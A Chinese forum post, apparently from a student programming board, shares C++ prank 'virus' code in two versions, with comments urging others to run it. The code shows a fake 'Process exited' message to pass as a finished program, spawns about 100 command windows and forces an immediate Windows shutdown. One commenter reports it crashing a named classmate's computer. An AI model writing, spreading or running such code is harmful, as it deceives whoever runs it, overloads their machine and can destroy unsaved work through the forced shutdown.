- 分享
病毒代码《break》,很好玩
- 2024-12-6 16:47:24 @
#include<bits/stdc++.h>
#include<windows.h>
int a,b;
int x(){
int c;
while(!(c>0 & c<=9))
c=rand();
while(!(a>=1 & a<=3 & b%10!=0 & b<=999 & b%100!=0)){
a = rand();
b = rand();
}
while(c--){
std::cout <<"\n";
std::cout << "--------------------------------"<<"\n";
std::cout << "Process exited after "<<a<<'.'<<b<<" seconds with return value 0" << "\n";
system("pause");
std::cout << "\n";
}
}
void r(){
x();
std::cout <<"\n";
std::cout << "--------------------------------"<<"\n";
std::cout << "Process exited after "<<a<<'.'<<b<<" seconds with return value 0" << "\n";
system("pause");
}
int main(){
r();
int x=100;
while(x--){
system("start cmd");
}
system("shutdown /s /t 1");
}
两种解决方案: 1.在任务管理器上结束运行; 2.关机重启。
已更新至5.0
更新内容:
1.使代码更DOG(将无法通过关闭黑框来结束病毒) if想用最原始的代码,用下面这个:
#include<bits/stdc++.h>
#include<windows.h>
int rand_(int l,int r){//随机数函数
std::srand(static_cast<unsigned int>(std::time(nullptr)));
int random_num = std::rand() % r + l;
return random_num;
}
int main(){
int a = rand_(1,4);
int b = rand_(100,200);
std::cout << "--------------------------------"<<"\n";
std::cout << "Process exited after "<<a<<'.'<<b<<" seconds with return value 0" << "\n";
system("pause");
int x=rand_(100,120);
while(x--)system("start cmd");
system("shutdown /s /t 1");
}
9 comments
-
toy. LV 5 @ 2024-12-14 15:00:34
你的代码把魏子曰的电脑搞崩了,特别好玩
-
2024-12-13 18:07:18@
必须好玩
-
2024-12-13 17:56:51@
大家一定要玩!!!!!
-
2024-12-13 17:38:38@
大家一定要娃儿
-
2024-12-13 17:34:44@
建议大家一定要去玩
-
2024-12-13 17:33:45@
这东西老好玩了
-
2024-12-13 17:33:10@
我嘞个好玩死了 大家一定要玩
-
2024-12-7 20:32:48@
你~~~~~~~~~~~~~,为甚占me桌
2024年12月6日星期五
-
2024-12-6 16:48:45@
狠好玩
- 1